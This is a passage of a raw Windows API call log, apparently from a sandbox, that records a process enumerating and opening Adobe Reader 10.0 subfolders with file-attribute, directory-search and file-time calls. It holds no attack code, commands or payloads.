[0251.271] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.271] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0251.272] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0251.272] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0251.272] GetLastError () returned 0x12 [0251.272] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0251.272] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.272] GetLastError () returned 0x12 [0251.272] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.272] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.274] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.274] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0251.274] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0251.275] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0251.277] GetLastError () returned 0x12 [0251.277] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0251.277] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.278] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.279] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.279] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.279] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.279] GetLastError () returned 0x12 [0251.279] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.279] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.279] GetLastError () returned 0x12 [0251.279] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.280] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.281] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.281] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.281] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.281] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.281] GetLastError () returned 0x12 [0251.281] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.281] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.281] GetLastError () returned 0x12 [0251.281] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.281] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.283] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.283] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.283] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.283] GetLastError () returned 0x12 [0251.283] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.283] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.283] GetLastError () returned 0x12 [0251.283] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.283] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.287] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.287] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.287] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.288] GetLastError () returned 0x12 [0251.288] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.288] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.288] GetLastError () returned 0x12 [0251.288] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.288] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.293] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.294] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.294] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.294] GetLastError () returned 0x12 [0251.294] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.294] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.294] GetLastError () returned 0x12 [0251.294] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.294] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.294] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.295] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.295] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.295] GetLastError () returned 0x12 [0251.295] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.295] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.295] GetLastError () returned 0x12 [0251.295] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.295] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.297] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.297] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.298] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.298] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.298] GetLastError () returned 0x12 [0251.298] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.298] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.298] GetLastError () returned 0x12 [0251.298] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.298] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.299] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.299] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.299] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.299] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.299] GetLastError () returned 0x12 [0251.299] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.300] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.300] GetLastError () returned 0x12 [0251.300] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.300] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.300] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.300] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.300] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.300] GetLastError () returned 0x12 [0251.300] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.300] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.301] GetLastError () returned 0x12 [0251.301] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.301] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.302] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.302] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.302] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.302] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", 